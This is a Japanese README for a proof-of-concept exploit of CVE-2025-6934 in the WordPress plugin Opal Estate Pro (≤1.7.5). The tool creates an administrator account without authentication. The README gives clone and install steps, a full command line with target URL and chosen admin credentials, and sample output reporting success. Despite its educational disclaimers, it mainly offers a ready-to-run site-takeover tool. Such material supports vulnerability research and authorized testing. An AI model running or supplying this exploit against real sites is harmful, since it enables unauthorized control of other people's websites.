CVE-2025-6934 自動エクスプロイト

---

⚡ 概要

CVE-2025-6934 は、WordPress プラグイン: Opal Estate Pro ≤ 1.7.5 を対象とした概念実証 (PoC) エクスプロイトです。
このエクスプロイトは、認証なしでの管理者アカウント作成を実証します。

免責事項: この PoC は教育目的のみです。許可なくシステムで使用 しないで ください。

---

🛠 機能

• プラグインのバージョンを自動的に検出します。
• 登録に必要な nonce を取得します。
• 認証なしで新しい管理者アカウントを作成します。
• ステータス、成功、失敗、情報メッセージをカラフルなコンソール出力で表示します。
• Python 3.x で最小限の依存関係で動作します。

---

⚙️ インストール

1. リポジトリをクローンします:

git clone https://github.com/Rosemary1337/CVE-2025-6934.git
cd CVE-2025-6934

2. 依存関係をインストールします:

pip install -r requirements.txt

要件: requests、beautifulsoup4、colorama

---

🚀 使用方法

python3 main.py -u <TARGET_URL> -mail <EMAIL> -password <PASSWORD> -user <USERNAME>

例:

python3 main.py -u http://site.com/ -mail [email protected] -password 3xplo1tI5Fun -user r1337

引数

Flag	説明	必須	デフォルト
-u, --url	対象サイトのURL	はい	-
-mail, --newmail	新しい管理者のメールアドレス	はい	-
-password, --newpassword	新しい管理者のパスワード	はい	-
-user, --username	新しい管理者のユーザー名	いいえ	administrator

---

🎨 出力

コンソールには以下が表示されます:

• ステータスメッセージ [•]
• 成功 [✔]
• 失敗 [✖]
• 情報 [i]

例:

[•] Starting Exploit...
[✔] Nonce Found: xyz123
[✔] Exploit Successful!
    Username : r1337
    Email    : [email protected]
    Password : 3xplo1tI5Fun
    Role     : administrator

---

🔐 セキュリティと免責事項

• 教育およびテスト目的のみです。
• 明示的な許可なくウェブサイトを攻撃 しないで ください。
• 管理されたラボまたは許可されたペネトレーションテストでのみ使用してください。

---

🔗 私とつながる

私はツールの構築と知識の共有を楽しむアクティブな開発者です。以下の方法で連絡できます: